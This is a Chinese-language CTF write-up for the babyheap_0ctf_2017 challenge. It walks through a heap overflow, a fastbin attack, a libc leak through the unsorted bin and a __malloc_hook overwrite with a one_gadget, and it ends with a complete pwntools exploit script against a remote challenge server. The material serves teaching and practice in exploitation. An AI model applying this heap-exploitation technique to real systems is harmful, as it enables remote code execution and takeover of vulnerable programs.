由于断断续续写了好久加上自身水平不足导致可能存在逻辑上的错误等等,如有错误,还望指出
最终利用:
malloc_hook是一个libc上的函数,如果指针不为空则会执行其指针指向的函数,通过这个来getshell
1.查看程序
发现保护全开了,利用ida查看一下
挨个查看
switch里的判断条件(用来选择):
case 1(allocate,分配chunk):
case 2(fill,进行内容填充,存在堆溢出):
case 3(free,释放chunk):
case 4(dump,输出内容,可以以此获取main.arena88):
2.漏洞分析
1.由于unsorted bin中只有一个块时会将fb和bk指针指向main.arena+88处,而libc距main.aerna-offset(该offset是一个固定值,只是不同版本的libc里不同)
libc_base=main_arena_88-offset-88
2.因此我们要使一块chunk去到unsorted bin 再用dump泄露出来,这就需要我们让两个index来指向同一个chunk,一个释放掉使chunk到unsorted bin,另一个就可以通过dump来泄露main.arena+88的地址
要让两个index指向同一个chunk,就需要借助free来实现,通过 free两个index(chunk1,chunk2) ,使其到fastbin中,其会按照后进先出原则,再通过溢出使一个index2的fd指向chunk4,将原来的fastbin中chunk2->chunk1变换为了chunk2->chunk4,此时mallco (index1的大小)时会将chunk2分配给index1,而mallco (index2的大小)会将chunk4分配给index2【注意此时要修改chunk4的size和index2的大小一致】,然后通过溢出index3将chunk4的size值恢复,然后再mallco (index4的大小)再释放,这时chunk4就会进入unsorted bin ,并且index2也指向了chunk4,可以通过dump(index2)来泄露main.arena+88的地址
4.fastbin attack
原理:
通过double free 利用 :释放chunk1 和chunk2 然后fastbin 里就会形成
利用double free来再次释放chunk1,会变成:
此时申请后分配chunk1:
接着需要写入前面分配的chunk1来改变fd指向到想要写入的地址(此处是因为free了两次所以同一个chunk1一个再heap中,另一个在fastbin里,通过heap写入就能改写fastbin里的fd指向)
接着mallco chunk2和mallco chunk1,此时fastbin指向新指向的chunk3
此时再mallco 一次即可申请到新的chunk3,然后就可以进行改写内容
回到题目:
通过泄露的地址来获得libc的基地址, libc上的函数libc_mallco,该函数会调用mallco hook,是libc上的一个函数指针,若该指针不为空则执行它指向的函数 ,我们可以以此来getshell,用fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后通过 malloc (),将该地址分配,这样就可以改写 libc 的内容,通过mallco hook来getshell(写入地址后再次mallco即可执行mallco hook)
此时chunk4在unsorted bin中,我们需要mallco 0x60,再free使其放入到fastbin中,因为前面index2已经指向了chunk4,所以通过index2写入要修改的地址即可,然后mallco 2次,一个是chunk4,一个就是新的chunk为要修改的mallco hook
3.漏洞利用
1.先利用allocate得到chunk
allocate(0x10) index0
allocate(0x10) index1
allocate(0x10) index2
allocate(0x10) index3
allocate(0x80) index4
2.利用free,使后续的两个index可以指向同一个chunk
free(1)
free(2)
【注意修改glibc版本】
patchelf --set-interpreter ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ~/Downloads/buuctf/babyheap_0ctf_2017
查看此时的堆(glibc 2.26版本以后会不一样),可以发现地址都是对齐的:
查看bins,此时是chunk2->chunk1:
查看该heap的内容,由下面的图也可以发现地址只有第一个字节不同,所以后面溢出修改一个字节为0x80就好:
溢出
利用index0来溢出改写index2的fd(不用index1是因为index1也被释放),利用index3来改写index4的size
payload1=p64(0)+p64(0) //填充index0的fd和bk(因为此处是作为存储数据来用,并不是存地址)
payload1+=p64(0)+p64(0x21)+p64(0)+p64(0)//index1的pre_size和size位和fd、bk
payload1+=p64(0)+p64(0x21)+p(0x80)//index2:pre_size、size、fd
fill(0,length(payload1),payload1) //填充 index0进行溢出
payload2=p64(0)+p64(0) //填充index3
payload2+=p64(0)+p64(0x21) //溢出修改index4的size位
fill(3,length(payload2),payload2)
index2的fd位0x80是因为堆始终是 4KB对齐 的,所以index4的第一个字节(小端序)必定是80(前面的index0~3都占了0x20)
【这里解释修改index4的size位,这里index4对应chunk4】
查看其 chunksize 与相应的 fastbin_index 是否匹配,
实际上 chunksize 的计算方法是 victim->size & ~(SIZE_BITS)),
而它对应的 index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,
这里 64位的平台对应的 SIZE_SZ 是8,则 fastbin_index 为 (size >> 4) - 2,
那么我们将 small chunk 的 size 域改写成 0x21 即可。
3.构造两个index指向同一个chunk(index2,index4都指向chunk4)
由于前面的溢出index2导致对应的chunk2的fd指向了chunk4(此时chunk2在fastbin表里,所以使chunk4也在fastbin表中),此时 fastbin->chunk2->chunk4
allocate(0x10) //index1,此时会将chunk2分配给index1
allocate(0x10) //index2,此时会将chunk4分配给index2
此时就有两个index指向同一个chunk了,接着改回来原来的index4的大小
payload3=p64(0)+p64(0)
payload3+=p64(0)+p64(0x91)
fill(3,length(payload3),payload3)
接着给index4分配chunk4(因为前面index2回收chunk4没有改变index4指向的chunk地址,所以给index分配的仍然是chunk4)
allocate(0x80) //给index4分配chunk4
free(4) //释放chunk4,因为大于等于0x80,所以进入unsorted bin中
此时chunk4的fd和bk就指向main_arena+88
处
4.泄露main_arena_88
地址,计算得到libc_base( main_arena相对libc固定偏移0x3c4b20,不同libc版本偏移不同 )
dump(2)
main_arena_88=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
libc_base=main_arena_88-0x3c4b78 (0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同
5.构造fake_chunk
,使其能够溢出到malloc_hook
计算fake_chunk的地址(malloc_hook
就在main_arena
的上面,我们需要找一个malloc_hook
附近能够构造chunk的地址作为fake_chunk
):
在main_arena-0x40+0xd
的地方找到该地址,由于有保护,所以要用libc_base+偏移
来到达该地址
fake_chunk=main_arena-0x40+0xd (mian_arena-0x33)
libc_base=main_arena+0x58-0x3c4b78
(main_arena-0x3c4b78=libc_base-0x58)
fake_chunk=libc_base-0x58+0x3c4b78-0x40+0xd= libc_base+3c4aed
所以fake_chunk= libc_base+0x3c4aed
6.将fake_chunk地址写入fastbin中,便于后续溢出来getshell
由于此时chunk4仍然在unsorted bin中(index4被释放),而index2仍然指向chunk4,可以用index2来改写fd,所以要使chunk4进入fastbin中
allocate(0x60) //回收一部分chunk4
free(4) //使chunk4进入fastbin中
payload4=p64(fake_chunk) //改写chunk4的fd使fake_chunk进入fastbin
fill(2,length(payload4),payload4)
7.回收chunk4与fake_chunk来getshell( malloc_hook=main_arena-0x10
)
allocate(0x60) //index4,分配chunk4
allocate(0x60) //index5,分配fake_chunk
//因为 malloc_hook=main_arena-0x10,fake_chunk=mian_arena-0x33
//所以 malloc_hook=fake_chunk+0x23(fake_chunk+0x33-0x10)
payload5=p64(0)+p64(0)+p8(0)*3 //0x13
payload5+=p64(libc_base+0x4526a) //0x4526a由one_gadget查找得到
fill(5,length(payload5),payload5)
allocate(0x60) //执行一次就会执行malloc_hook,就可以getshell
exp:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',25727)
#e=ELF("./babyheap_0ctf_2017")
#write_plt=e.plt["write"]
#read_plt=e.plt["read"]
def allocate(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size)) #此处必须转成str()类型,下面同理
def fill(index,size,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",content)
def free(index):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(index))
def dump(index):
p.sendlineafter("Command: ","4")
p.sendlineafter("Index: ",str(index))
#步骤1(对应上面的讲解步骤)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
#步骤2
free(1)
free(2)
payload1=p64(0)*2+p64(0)+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,len(payload1),payload1)
payload2=p64(0)*3+p64(0x21)
fill(3,len(payload2),payload2)
#步骤3
allocate(0x10)
allocate(0x10)
payload3=p64(0)*3+p64(0x91)
fill(3,len(payload3),payload3)
allocate(0x80)
free(4)
#步骤4
dump(2)
main_arena_88=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libc_base=main_arena_88-0x3c4b78
#步骤5
fake_chunk= libc_base+0x3c4aed
#步骤6
allocate(0x60) #回收一部分chunk4
free(4) #使chunk4进入fastbin中
payload4=p64(fake_chunk) #改写chunk4的fd使fake_chunk进入fastbin
fill(2,len(payload4),payload4)
#步骤7
allocate(0x60) #index4,分配chunk4
allocate(0x60) #index5,分配fake_chunk
#因为 malloc_hook=main_arena-0x10,fake_chunk=mian_arena-0x33
#所以 malloc_hook=fake_chunk+0x23(fake_chunk+0x33-0x10)
payload5=p64(0)+p64(0)+p8(0)*3 #0x13
payload5+=p64(libc_base+0x4526a) #0x4526a由one_gadget查找得到
fill(6,len(payload5),payload5)
allocate(0x60) #index6,执行一次就会执行malloc_hook,就可以getshell
p.interactive()
参考:
https://blog.csdn.net/think_ycx/article/details/77982439
https://bbs.kanxue.com/thread-223461.htm
https://blog.csdn.net/weixin_43847969/article/details/104897249
https://blog.csdn.net/mcmuyanga/article/details/108360375
关于堆的参数:
https://blog.csdn.net/weixin_43847969/article/details/104897249